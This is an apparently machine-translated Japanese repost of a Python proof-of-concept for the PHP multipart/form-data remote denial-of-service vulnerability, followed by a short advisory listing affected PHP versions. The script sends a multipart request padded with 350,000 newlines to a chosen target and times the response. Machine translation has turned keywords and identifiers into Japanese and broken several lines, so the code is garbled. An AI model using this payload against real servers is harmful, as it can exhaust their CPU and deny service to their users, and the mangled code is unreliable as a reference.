PHPのマルチパート/フォームデータのリモートDOSの脆弱性

インポートSYS 
インポートurllibは、urllib2の
インポート日時
optparseはインポートはOptionParserから
DEF HTTP_PROXY(proxy_url):
    proxy_handler = urllib2.ProxyHandler({ "HTTP":proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    オープナー= urllib2.build_opener(proxy_handler)
    urllib2の.install_opener(オープナー)
#END HTTP_PROXY 
DEF check_php_multipartform_dos(URL、post_body、ヘッダ):
    REQ =はurllib2.Request(URL)
    headers.keysにおけるキーの():
        req.add_header(キー、ヘッダ[キー])
    STARTTIME =日時。 datetime.now(); 
    FD = urllib2.urlopen(REQ、post_body)
    HTML = fd.read() 
    ENDTIME = datetime.datetime.now()
    usetime =(終了時刻- STARTTIME).seconds
    もし(usetime> 5):
        結果= URL + "は脆弱です"。
    他:
        (usetime> 3)の場合:
            結果= "必要性通常の応答時間を確認するには、" 
    リターン[結果、usetime] 
#END 
デフメイン():
    #http_proxy( "http://127.0.0.1:8089")
    パーサ=はOptionParser ()
    parser.add_option( " - T"を、 "--target"、アクション= "店舗"、
                  DEST = "ターゲット"、
                  デフォルト= Falseを、
                  タイプ= "文字列"、
                  ヘルプ= "テストターゲット") オプション、引数)= parser.parse_args()
    の場合(options.target):
    他:
        リターン; 
    NUM = 350000
    ヘッダー= { 'のContent-Type':「マルチパート/フォームデータ。境界= ---- WebKitFormBoundaryX3B7rDMPcQlzmJE1' 、
            'エンコードを受け入れ': 'gzipで、デフレート'、
            'ユーザーエージェント': 'のMozilla / 5.0(Windows NTの6.1; WOW64)
のAppleWebKit / 537.36(KHTML、ヤモリなど)クローム/ 40.0 .2214.111サファリ/ 537.36' } 
本体= 
"------ WebKitFormBoundaryX3B7rDMPcQlzmJE1 \ nContent-処分:
フォームデータ、名前= \"ファイル\ ";ファイル名= sp.jpg" 
    ペイロード= "" 
    私のための範囲内(0 、NUM):
        ペイロード=ペイロード+ "\ n"は
    本体=ボディ+ペイロード。
ボディ=ボディ+ 
"のContent-Type:アプリケーション/ octet-streamの\ rを\ nは\ rを\ ndatadata \ rを\ nは------ 
    プリント"開始..
    応答= check_php_multipartform_dos(ターゲット、ボディ、ヘッダ)
    印刷"結果:" 
    印刷応答[0] 
    "応答し時間: "印刷+ STR(応答[1])+"秒"。
__name場合__ == "__ MAIN__":
    メイン()

  

PHPは、HTTPリクエストマルチパート/フォームデータのヘッダデータを処理するとき、繰り返し割当及びPHPメモリコピー動作の多数が得られ、ごみへのリモートを引き起こす可能性が、100%のCPU使用率とより長い持続時間をもたらすことができるセキュリティ脆弱性が存在しますサービス攻撃。影響を受けるソフトウェアおよびシステム:PHP 5.0.0 - 5.0.5、PHP 5.1.0 - 5.1.6、PHP 5.2.0 - 5.2.17、PHP 5.3.0 - 5.3.29、PHP 5.4.0 - 5.4。 40; PHP 5.5.0 - 5.5.24、PHP 5.6.0 - 5.6.8

おすすめ

転載: www.cnblogs.com/endust/p/11983902.html